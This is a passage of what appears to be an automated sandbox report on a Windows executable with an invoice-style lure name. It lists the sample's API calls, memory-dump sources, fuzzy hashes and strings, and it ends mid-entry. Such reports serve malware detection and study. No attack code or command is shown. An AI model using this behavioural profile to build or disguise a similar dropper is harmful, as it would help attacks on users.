
ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,?,?,00403321,00000000,00000000,00403168,?,?,00000000,00000000,00000000), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 994fac52afecd872c6575aa209eb3fbbfd601c2a51b89c6ee9ed5d101180f43c
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 93E08C3220525AABCF109F51CC04EEB3B6CEB04360F000832FD98E2040D230EA219BE4

Function 00405E3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,?,?,004032D7,000000FF,0078B6D8,?,0078B6D8,?,?,?,00000000), ref: 00405E53

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 720248cc98aac2988b2abacb793a2dea5f933c74ab6652834825bf215bbdf934
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 72E08C3220025AABCF109F60DC00AEB3B6CFB007E0F048432F951E3040D230EA208FE4

Function 73402997 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7340405C,?,?,7340404C), ref: 734029B5

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f492c86eeac50a160a303967dd97a4c768ebed49141c3fb9398c6bfa5f074739
Instruction ID: bd5c0ca7cdbe65d1532340712f26590aff21d94751f54d92daebb532be1449cd
Opcode Fuzzy Hash: f492c86eeac50a160a303967dd97a4c768ebed49141c3fb9398c6bfa5f074739
Instruction Fuzzy Hash: 1CF07FB27052A0DED398FB6A87447063BE0E34A208F21A5AAA1ADF6382E33440448F15

Function 00406104 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,00406192,007A0F00,00000000,?,?,Call,?), ref: 00406128

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 68c61e8d1810f1ea9cab55705828a401d3ebcdae1eadef42580152fd7570d6fd
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 4BD0123204020EBBDF11AE909D01FAB3B1DEB08350F014826FE06A80A2D776D530AB54

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,?), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction ID: c073ba0ee5163cb04706f99935c2f3c73a5a9b1a05bee32f9da8622fc5c815d0
Opcode Fuzzy Hash: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction Fuzzy Hash: 68D01272B04100D7DB50DBE4AF4899D73A4AB84369B348577E102F11D0DAB9D9515B29

Function 00403324 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,?,0000000A), ref: 00403332

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction ID: a51ecd0892fb275ea92473d319bbbc5ec4fc6164fb370921ec18ec876cc9dfbc
Opcode Fuzzy Hash: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction Fuzzy Hash: A6D05E73E142008BD750DBB8BA8945E73A8F781319320C83BE102F1191E97888524A2D

Non-executed Functions

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,?), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(?,?,00000001,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,?), ref: 0040563C
ShowWindow.USER32(?), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 004046FF Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,Call), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

A, xrefs: 00404822
Call, xrefs: 00404860, 00404865, 00404870
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040484F

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$Call
API String ID: 2624150263-244158548
Opcode ID: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402183

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket
API String ID: 542301482-3575896986
Opcode ID: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction ID: 8dfa29a236a07f1275cc6a79af1154fb3a8ffb17113c9066b1df84c51f017d98
Opcode Fuzzy Hash: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction Fuzzy Hash: 4F413A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
